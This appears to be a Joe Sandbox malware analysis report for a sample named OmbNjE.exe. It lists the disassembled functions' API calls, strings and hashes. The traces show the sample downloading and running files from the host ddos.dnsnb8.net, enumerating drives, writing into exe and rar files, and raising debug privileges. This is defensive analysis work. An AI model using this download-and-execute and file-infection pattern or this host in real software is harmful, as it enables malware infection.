Part of subcall function 00407E3B: __amsg_exit.LIBCMT ref: 00407E5D
Part of subcall function 00407E3B: EnterCriticalSection.KERNEL32(00405D0D,00405D0D,?,00405DE1,00000004,004B6330,0000000C,00407310,00403D1E,00405D1C,00000000,00000000,00000000,?,00406F91,00000001), ref: 00407E65

EnterCriticalSection.KERNEL32(-00000014,?,00403F43,00000001,00000000,004B6268,0000000C,00403975,00000000), ref: 0040776E

Strings

u9@, xrefs: 00407749, 00407754

Memory Dump Source

Source File: 00000000.00000002.2155949959.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2155482393.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155949959.000000000041A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155949959.00000000004B6000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157120188.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157145901.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157175508.0000000000501000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157196826.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157217251.0000000000506000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Similarity

API ID: CriticalEnterSection$__amsg_exit__lock__mtinitlocknum
String ID: u9@
API String ID: 3996875869-3575889795
Opcode ID: ae08302357cf50a55e6fd1cebfe7bbff49e46a12fd977234c8d2eb54041e40e5
Instruction ID: a84131333562ab50949808a06d5f943097f15bb1cf4a3e83d1618b5b8f7a244a
Opcode Fuzzy Hash: ae08302357cf50a55e6fd1cebfe7bbff49e46a12fd977234c8d2eb54041e40e5
Instruction Fuzzy Hash: 9FD05B725042089BEB109B5AD88AA4D37DCEB44378B54C455F44DD7653CB35F8518A5C

Analysis Process: OmbNjE.exePID: 3664, Parent PID: 6432COMMON

Execution Graph

Execution Coverage:	32.4%
Dynamic/Decrypted Code Coverage:	10.4%
Signature Coverage:	18.9%
Total number of Nodes:	297
Total number of Limit Nodes:	12

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00F929E2 Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 128
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00F92A02
wsprintfA.USER32 ref: 00F92A1A
memset.MSVCRT ref: 00F92A44
lstrlen.KERNEL32(?), ref: 00F92A54
lstrcpyn.KERNEL32(?,?,-00000001), ref: 00F92A6C
strrchr.MSVCRT ref: 00F92A7C
lstrcmpiA.KERNEL32(?,Documents and Settings), ref: 00F92A9F
lstrlen.KERNEL32(Documents and Settings), ref: 00F92AAE
memset.MSVCRT ref: 00F92AC6
memset.MSVCRT ref: 00F92ADA
FindFirstFileA.KERNEL32(?,?), ref: 00F92AEF
memset.MSVCRT ref: 00F92B13
lstrcmpiA.KERNEL32(?,?), ref: 00F92B42
FindNextFileA.KERNEL32(00000000,?,?,?,?), ref: 00F92B67
FindClose.KERNEL32(00000000), ref: 00F92B6E

Strings

%s*, xrefs: 00F92A14
Documents and Settings, xrefs: 00F92A8D, 00F92A92, 00F92A9A, 00F92AAD
C:\, xrefs: 00F92A2F

Memory Dump Source

Source File: 00000001.00000002.2174987700.0000000000F91000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000001.00000002.2174965922.0000000000F90000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175015307.0000000000F93000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175041694.0000000000F94000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175067388.0000000000F96000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f90000_OmbNjE.jbxd

Similarity

API ID: memset$Find$Filelstrcmpilstrlen$CloseFirstNextlstrcpynstrrchrwsprintf
String ID: %s*$C:\$Documents and Settings
API String ID: 2826467728-110786608
Opcode ID: 729a843fa0162f720738a3cb1bf52d5543b0bc6d73b4b8d4599a0b647cfec37f
Instruction ID: 6ed3522335951720e601db96c1465e8228d52a6496866c203f400f97549cb794
Opcode Fuzzy Hash: 729a843fa0162f720738a3cb1bf52d5543b0bc6d73b4b8d4599a0b647cfec37f
Instruction Fuzzy Hash: 894154B2804349BFEB60DFA0DC49DEB77ECEB84315F04082AF544D2121E634DA58A7A2

Function 00F91099 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 74
stringsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00F9185B: GetSystemTimeAsFileTime.KERNEL32(?,ddos.dnsnb8.net,76938400,http://%s:%d/%s/%s,?,?,?,00F91118), ref: 00F91867
Part of subcall function 00F9185B: srand.MSVCRT ref: 00F91878
Part of subcall function 00F9185B: rand.MSVCRT ref: 00F91880
Part of subcall function 00F9185B: srand.MSVCRT ref: 00F91890
Part of subcall function 00F9185B: rand.MSVCRT ref: 00F91894

WinExec.KERNEL32(?,00000005), ref: 00F910F1
lstrlen.KERNEL32(00F94748), ref: 00F910FA
wsprintfA.USER32 ref: 00F9112A
wsprintfA.USER32 ref: 00F91143
URLDownloadToFileA.URLMON(00000000,?,?,00000000,00000000), ref: 00F9115B
lstrlen.KERNEL32(ddos.dnsnb8.net,00000000,?,?,00000000,00000000), ref: 00F91169
Sleep.KERNEL32 ref: 00F91179

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00F91119
http://%s:%d/%s/%s, xrefs: 00F910C2, 00F91141
%s%.8X.exe, xrefs: 00F91124
cj/, xrefs: 00F91135
ddos.dnsnb8.net, xrefs: 00F910C8, 00F910CF, 00F91140, 00F91168

Memory Dump Source

Source File: 00000001.00000002.2174987700.0000000000F91000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000001.00000002.2174965922.0000000000F90000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175015307.0000000000F93000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175041694.0000000000F94000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175067388.0000000000F96000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f90000_OmbNjE.jbxd

Similarity

API ID: FileTimelstrlenrandsrandwsprintf$DownloadExecSleepSystem
String ID: %s%.8X.exe$C:\Users\user\AppData\Local\Temp\$cj/$ddos.dnsnb8.net$http://%s:%d/%s/%s
API String ID: 1280626985-762681358
Opcode ID: abf566e30a951eed77c4ea40dc553edea2cea882e2eed43ace474f8cc87f7987
Instruction ID: 41894b9b090ca8e277951cf50fa103f873a20a78d2b145dbc707aade0af2dadc
Opcode Fuzzy Hash: abf566e30a951eed77c4ea40dc553edea2cea882e2eed43ace474f8cc87f7987
Instruction Fuzzy Hash: 2E218175D0020DBAEF20DBA0DC49FAFBBBCBB55315F1140A6E500A2061D775AB85EF60

Function 00F91718 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 65
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemTimeAsFileTime.KERNEL32(?,?,00000104,C:\Users\user\AppData\Local\Temp\OmbNjE.exe), ref: 00F91729
SHSetValueA.SHLWAPI(80000002,SOFTWARE\GTplus,Time,00000003,?,00000008), ref: 00F9174C
SHGetValueA.SHLWAPI(80000002,SOFTWARE\GTplus,Time,?,?,00000001), ref: 00F9177C
__aulldiv.LIBCMT ref: 00F91796
__aulldiv.LIBCMT ref: 00F917A8

Strings

Time, xrefs: 00F9173D, 00F91766
SOFTWARE\GTplus, xrefs: 00F91742, 00F9176B
C:\Users\user\AppData\Local\Temp\OmbNjE.exe, xrefs: 00F91722

Memory Dump Source

Source File: 00000001.00000002.2174987700.0000000000F91000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000001.00000002.2174965922.0000000000F90000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175015307.0000000000F93000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175041694.0000000000F94000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175067388.0000000000F96000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f90000_OmbNjE.jbxd

Similarity

API ID: TimeValue__aulldiv$FileSystem
String ID: C:\Users\user\AppData\Local\Temp\OmbNjE.exe$SOFTWARE\GTplus$Time
API String ID: 541852442-1361326754
Opcode ID: 7144632d1de87b3717770a7a18d509ac03937a11150a9378174f0c3029aae1e4
Instruction ID: d63a1583315698105a9f655181b4cd8f8423ce77fdd45074ae41d83d1f3fa3e3
Opcode Fuzzy Hash: 7144632d1de87b3717770a7a18d509ac03937a11150a9378174f0c3029aae1e4
Instruction Fuzzy Hash: 20116376E0020ABBFF109BD4CC85FEF7BBCEB44B14F508125F900A6240D675DA44AB61

Function 00F96076 Relevance: 11.1, APIs: 7, Instructions: 617
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,00001800,00001000,00000004), ref: 00F960BE
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004,?,?,?), ref: 00F960DF
VirtualFree.KERNELBASE(?,00000000,00008000,?,?,?), ref: 00F96189
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00F961A5

Memory Dump Source

Source File: 00000001.00000002.2175067388.0000000000F96000.00000040.00000001.01000000.00000004.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000001.00000002.2174965922.0000000000F90000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2174987700.0000000000F91000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175015307.0000000000F93000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175041694.0000000000F94000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f90000_OmbNjE.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 599de04d3686700e3465e8b427dfaf91e6ead394b53d482a298c609f755c8299
Instruction ID: 7142ece8780cada7dafa5115593bbd0c84a50bdd0e8610fd8ab04fecc44aaf76
Opcode Fuzzy Hash: 599de04d3686700e3465e8b427dfaf91e6ead394b53d482a298c609f755c8299
Instruction Fuzzy Hash: 731235B29087858FEF328F64CC55BEA3BB0EF02320F1945AED885CB292D774A901D755

Function 00F92B8C Relevance: 10.6, APIs: 7, Instructions: 74
threadstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00F92BA6
GetLogicalDriveStringsA.KERNEL32(00000050,?), ref: 00F92BB4
GetDriveTypeA.KERNEL32(?), ref: 00F92BD3
CreateThread.KERNEL32(00000000,00000000,Function_00002B7D,?,00000000,00000000), ref: 00F92BEE
lstrlen.KERNEL32(?), ref: 00F92BFB
WaitForMultipleObjects.KERNEL32(?,?,00000001,000000FF), ref: 00F92C16
CreateThread.KERNEL32(00000000,00000000,00F92845,00000000,00000000,00000000), ref: 00F92C3A

Memory Dump Source

Source File: 00000001.00000002.2174987700.0000000000F91000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000001.00000002.2174965922.0000000000F90000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175015307.0000000000F93000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175041694.0000000000F94000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175067388.0000000000F96000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f90000_OmbNjE.jbxd

Similarity

API ID: CreateDriveThread$LogicalMultipleObjectsStringsTypeWaitlstrlenmemset
String ID:
API String ID: 1073171358-0
Opcode ID: 6b2b107442c4b1e1d378a0ad17a878faac859da90700c9d141ba1743698136af
Instruction ID: ce42005faa875d6e05b13ab3b1cdc730daae8d4ec6ea1b58b0f5bd1a20734034
Opcode Fuzzy Hash: 6b2b107442c4b1e1d378a0ad17a878faac859da90700c9d141ba1743698136af
Instruction Fuzzy Hash: A421D5B180014DBFFF60AF649C84EEE7BADFB45368B140126F85292161D7249E06EB61

Function 00F91E6E Relevance: 30.4, APIs: 20, Instructions: 380
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFileAttributesA.KERNEL32(?,00000080,?,00F932B0,00000164,00F92986,?), ref: 00F91EB9
CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000003,00000080,00000000), ref: 00F91ECD
SetFilePointer.KERNEL32(000000FF,00000000,00000000,00000002,00000000,00000000), ref: 00F91EF3
CreateFileMappingA.KERNEL32(000000FF,00000000,00000004,00000000,00000000,00000000), ref: 00F91F07
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000400), ref: 00F91F1D
FlushViewOfFile.KERNEL32(?,00000400,?,00000000,00000000,?,00000000,00000002), ref: 00F9201E
memset.MSVCRT ref: 00F920D8
memset.MSVCRT ref: 00F920EA
memcpy.MSVCRT ref: 00F9222D
UnmapViewOfFile.KERNEL32(?,?,00000002,?,?,?,?,00000000,00000000,?,00000000,00000002), ref: 00F92238
FindCloseChangeNotification.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00000002), ref: 00F9224A
SetFilePointer.KERNEL32(000000FF,?,00000000,00000002,?,?,?,?,00000000,00000000,?,00000000,00000002), ref: 00F922C6
SetEndOfFile.KERNEL32(000000FF,?,?,?,00000000,00000000,?,00000000,00000002), ref: 00F922CB
SetFilePointer.KERNEL32(000000FF,?,00000000,00000002,?,?,?,00000000,00000000,?,00000000,00000002), ref: 00F922DD
WriteFile.KERNEL32(000000FF,00F94008,00000271,?,00000000,?,?,?,00000000,00000000,?,00000000,00000002), ref: 00F922F7
WriteFile.KERNEL32(000000FF,?,00000000,?,?,?,00000000,00000000,?,00000000,00000002), ref: 00F9230D
FindCloseChangeNotification.KERNEL32(000000FF,000000FF,00000001,?,?,?,00000000,00000000,?,00000000,00000002), ref: 00F92322
UnmapViewOfFile.KERNEL32(?,?,00F932B0,00000164,00F92986,?), ref: 00F92340
FindCloseChangeNotification.KERNEL32(?,?,00F932B0,00000164,00F92986,?), ref: 00F9234E
CloseHandle.KERNEL32(000000FF,?,00F932B0,00000164,00F92986,?), ref: 00F92359

Memory Dump Source

Source File: 00000001.00000002.2174987700.0000000000F91000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000001.00000002.2174965922.0000000000F90000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175015307.0000000000F93000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175041694.0000000000F94000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175067388.0000000000F96000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f90000_OmbNjE.jbxd

Similarity

API ID: File$CloseView$ChangeFindNotificationPointer$CreateUnmapWritememset$AttributesFlushHandleMappingmemcpy
String ID:
API String ID: 307705342-0
Opcode ID: 2523bd7e1850630ca5a7dfab08859c52fac1b467e8a2b04a9ea27ddec698fd3d
Instruction ID: 1181fd3b3d000bc921f5e0c19ed05179f4ac8b96d72ab29cece3f838ac5ed65b
Opcode Fuzzy Hash: 2523bd7e1850630ca5a7dfab08859c52fac1b467e8a2b04a9ea27ddec698fd3d
Instruction Fuzzy Hash: BEF16771900209EFEF64DFA4DC81AADBBB5FF08314F10452AE50AA7661D734AE91EF50

Function 00F91973 Relevance: 28.1, APIs: 12, Strings: 4, Instructions: 144
filesleepmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PathFileExistsA.SHLWAPI(00F94E5C,00000000,C:\Users\user\AppData\Local\Temp\OmbNjE.exe), ref: 00F91992
CreateFileA.KERNEL32(00F94E5C,80000000,00000001,00000000,00000003,00000000,00000000,00000000), ref: 00F919BA
Sleep.KERNEL32(00000064), ref: 00F919C6
wsprintfA.USER32 ref: 00F919EC
CopyFileA.KERNEL32(00F94E5C,?,00000000), ref: 00F91A00
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00F91A1E
GetFileSize.KERNEL32(00F94E5C,00000000), ref: 00F91A2C
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 00F91A46
ReadFile.KERNEL32(00F94E5C,00F94E60,00000000,?,00000000), ref: 00F91A65
FindCloseChangeNotification.KERNEL32(000000FF), ref: 00F91A90
DeleteFileA.KERNEL32(?), ref: 00F91AA7
VirtualFree.KERNEL32(00F94E60,00000000,00008000), ref: 00F91AC1

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00F919DB
2, xrefs: 00F919CF
%s%.8X.data, xrefs: 00F919E6
C:\Users\user\AppData\Local\Temp\OmbNjE.exe, xrefs: 00F9197C

Memory Dump Source

Source File: 00000001.00000002.2174987700.0000000000F91000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000001.00000002.2174965922.0000000000F90000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175015307.0000000000F93000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175041694.0000000000F94000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175067388.0000000000F96000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f90000_OmbNjE.jbxd

Similarity

API ID: File$CreateVirtual$AllocChangeCloseCopyDeleteExistsFindFreeNotificationPathReadSizeSleepwsprintf
String ID: %s%.8X.data$2$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\OmbNjE.exe
API String ID: 2523042076-3998020773
Opcode ID: e5c8b62f7d3622cc5d19a3be9c4057a15aaaee07bc5a957464068022ce747639
Instruction ID: 0be07b26f8daa6c0eaf68e399fdc1914a1cb54c5b6ff776eb73ccd806cf4f9fa
Opcode Fuzzy Hash: e5c8b62f7d3622cc5d19a3be9c4057a15aaaee07bc5a957464068022ce747639
Instruction Fuzzy Hash: F6515E71D0121AEFEF209F98CC84AAEBBB9FB05364F10457AF515E61A0D3349E40EB50

Function 00F928B8 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 100
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00F928D3
wsprintfA.USER32 ref: 00F928F7
memset.MSVCRT ref: 00F92925
wsprintfA.USER32 ref: 00F92940

Part of subcall function 00F929E2: memset.MSVCRT ref: 00F92A02
Part of subcall function 00F929E2: wsprintfA.USER32 ref: 00F92A1A
Part of subcall function 00F929E2: memset.MSVCRT ref: 00F92A44
Part of subcall function 00F929E2: lstrlen.KERNEL32(?), ref: 00F92A54
Part of subcall function 00F929E2: lstrcpyn.KERNEL32(?,?,-00000001), ref: 00F92A6C
Part of subcall function 00F929E2: strrchr.MSVCRT ref: 00F92A7C
Part of subcall function 00F929E2: lstrcmpiA.KERNEL32(?,Documents and Settings), ref: 00F92A9F
Part of subcall function 00F929E2: lstrlen.KERNEL32(Documents and Settings), ref: 00F92AAE
Part of subcall function 00F929E2: memset.MSVCRT ref: 00F92AC6
Part of subcall function 00F929E2: memset.MSVCRT ref: 00F92ADA
Part of subcall function 00F929E2: FindFirstFileA.KERNEL32(?,?), ref: 00F92AEF
Part of subcall function 00F929E2: memset.MSVCRT ref: 00F92B13

strrchr.MSVCRT ref: 00F92959
lstrcmpiA.KERNEL32(00000001,exe), ref: 00F92974

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00F929B3
%s%s, xrefs: 00F928F1
%s\, xrefs: 00F9293A
exe, xrefs: 00F9296D
rar, xrefs: 00F92988

Memory Dump Source

Source File: 00000001.00000002.2174987700.0000000000F91000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000001.00000002.2174965922.0000000000F90000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175015307.0000000000F93000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175041694.0000000000F94000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175067388.0000000000F96000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f90000_OmbNjE.jbxd

Similarity

API ID: memset$wsprintf$lstrcmpilstrlenstrrchr$FileFindFirstlstrcpyn
String ID: %s%s$%s\$C:\Users\user\AppData\Local\Temp\$exe$rar
API String ID: 3004273771-1791786966
Opcode ID: 9c0549ea37ae9719b00afe29fb57bca0fe5cb70c01165923abd72a3f1b57500e
Instruction ID: 757fb0943403e87099cdcd3dd48025a28d25ca01ad74261e77a0550dac1a7686
Opcode Fuzzy Hash: 9c0549ea37ae9719b00afe29fb57bca0fe5cb70c01165923abd72a3f1b57500e
Instruction Fuzzy Hash: F931A476E4030D7BFF60AB64DC89FDA776CAB10324F040453F545A6081EAB4DAC8BBA1

Function 00F91638 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 70
stringsynchronizationthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathA.KERNEL32(00000104,C:\Users\user\AppData\Local\Temp\,?,00000005,00000000), ref: 00F9164F
GetSystemDirectoryA.KERNEL32(C:\Windows\system32,00000104), ref: 00F9165B
GetModuleFileNameA.KERNEL32(C:\Users\user\AppData\Local\Temp\OmbNjE.exe,00000104), ref: 00F9166E
CreateThread.KERNEL32(00000000,00000000,Function_00001099,00000000,00000000,00000000), ref: 00F916AC
WaitForSingleObject.KERNEL32(00000000,000000FF,00000000), ref: 00F916BD

Part of subcall function 00F9139F: GetVersionExA.KERNEL32(?,?,00000104,C:\Users\user\AppData\Local\Temp\OmbNjE.exe), ref: 00F913BC
Part of subcall function 00F9139F: LookupPrivilegeValueA.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 00F913DA
Part of subcall function 00F9139F: GetCurrentProcessId.KERNEL32(-00000094,0000000C,0000000C,00000001), ref: 00F91448

lstrcpy.KERNEL32(?,C:\Users\user\AppData\Local\Temp\OmbNjE.exe), ref: 00F916E5

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00F91644
C:\Windows\system32, xrefs: 00F91656
Documents and Settings, xrefs: 00F91696
C:\Users\user\AppData\Local\Temp\OmbNjE.exe, xrefs: 00F91662, 00F91667, 00F916DD

Memory Dump Source

Source File: 00000001.00000002.2174987700.0000000000F91000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000001.00000002.2174965922.0000000000F90000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175015307.0000000000F93000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175041694.0000000000F94000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175067388.0000000000F96000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f90000_OmbNjE.jbxd

Similarity

API ID: CreateCurrentDirectoryFileLookupModuleNameObjectPathPrivilegeProcessSingleSystemTempThreadValueVersionWaitlstrcpy
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\OmbNjE.exe$C:\Windows\system32$Documents and Settings
API String ID: 123563730-1241461675
Opcode ID: 45d57174e80e76c9fb5953f2e1e19669d879bb057c3899b069a470f53f41dcdf
Instruction ID: 684b2b19f0e6196dbb7240011835c0ea93d4468a71f01726b5d7382efa6d2baa
Opcode Fuzzy Hash: 45d57174e80e76c9fb5953f2e1e19669d879bb057c3899b069a470f53f41dcdf
Instruction Fuzzy Hash: 6611B672901219BBFF206BA49D4EE9B3E6DFB55369F000022F309D11B0C6758941FBA2

Function 00F91000 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 60
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(00000003,C0000000,00000003,00000000,00000003,00000080,00000000,?,http://%s:%d/%s/%s,00F910E8,?), ref: 00F91018
GetFileSize.KERNEL32(00000000,00000000,ddos.dnsnb8.net,76938400,?,http://%s:%d/%s/%s,00F910E8,?), ref: 00F91029
CreateFileMappingA.KERNEL32(00000000,00000000,00000004,00000000,00000000,00000000), ref: 00F91038
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000000,?,http://%s:%d/%s/%s,00F910E8,?), ref: 00F9104B
UnmapViewOfFile.KERNEL32(00000000,?,http://%s:%d/%s/%s,00F910E8,?), ref: 00F91075
CloseHandle.KERNEL32(?,?,http://%s:%d/%s/%s,00F910E8,?), ref: 00F9108B
CloseHandle.KERNEL32(00000000,?,http://%s:%d/%s/%s,00F910E8,?), ref: 00F9108E

Strings

http://%s:%d/%s/%s, xrefs: 00F91000
ddos.dnsnb8.net, xrefs: 00F91026

Memory Dump Source

Source File: 00000001.00000002.2174987700.0000000000F91000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000001.00000002.2174965922.0000000000F90000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175015307.0000000000F93000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175041694.0000000000F94000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175067388.0000000000F96000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f90000_OmbNjE.jbxd

Similarity

API ID: File$CloseCreateHandleView$MappingSizeUnmap
String ID: ddos.dnsnb8.net$http://%s:%d/%s/%s
API String ID: 1223616889-3273462101
Opcode ID: 646bc6a85d05e05c5279e88a7cfe42e52869208f819f349adf35a5d6f5201218
Instruction ID: d90e5d8378e7ff76b2b6d33576fd200e9119d3db8e3338b274f5b25ec95392c3
Opcode Fuzzy Hash: 646bc6a85d05e05c5279e88a7cfe42e52869208f819f349adf35a5d6f5201218
Instruction Fuzzy Hash: A001967150035DBFE7305F609C89E2BBBACEB447ADF01453AF245A20B0D6715E44AB70

Function 00F92C48 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 50
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00F92C57

Part of subcall function 00F91973: PathFileExistsA.SHLWAPI(00F94E5C,00000000,C:\Users\user\AppData\Local\Temp\OmbNjE.exe), ref: 00F91992
Part of subcall function 00F91973: CreateFileA.KERNEL32(00F94E5C,80000000,00000001,00000000,00000003,00000000,00000000,00000000), ref: 00F919BA
Part of subcall function 00F91973: Sleep.KERNEL32(00000064), ref: 00F919C6
Part of subcall function 00F91973: wsprintfA.USER32 ref: 00F919EC
Part of subcall function 00F91973: CopyFileA.KERNEL32(00F94E5C,?,00000000), ref: 00F91A00
Part of subcall function 00F91973: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00F91A1E
Part of subcall function 00F91973: GetFileSize.KERNEL32(00F94E5C,00000000), ref: 00F91A2C
Part of subcall function 00F91973: VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 00F91A46
Part of subcall function 00F91973: ReadFile.KERNEL32(00F94E5C,00F94E60,00000000,?,00000000), ref: 00F91A65

CreateThread.KERNEL32(00000000,00000000,00F92B8C,00000000,00000000,00000000), ref: 00F92C99
WaitForMultipleObjects.KERNEL32(00000001,00F916BA,00000001,000000FF,?,00F916BA,00000000), ref: 00F92CAC
VirtualFree.KERNEL32(00600000,00000000,00008000,C:\Users\user\AppData\Local\Temp\OmbNjE.exe,00F94E5C,00F94E60,?,00F916BA,00000000), ref: 00F92CC2

Strings

C:\Users\user\AppData\Local\Temp\OmbNjE.exe, xrefs: 00F92C69

Memory Dump Source

Source File: 00000001.00000002.2174987700.0000000000F91000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000001.00000002.2174965922.0000000000F90000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175015307.0000000000F93000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175041694.0000000000F94000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175067388.0000000000F96000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f90000_OmbNjE.jbxd

Similarity

API ID: File$Create$Virtual$AllocCopyExistsFreeMultipleObjectsPathReadSizeSleepThreadWaitmemsetwsprintf
String ID: C:\Users\user\AppData\Local\Temp\OmbNjE.exe
API String ID: 2042498389-3226802260
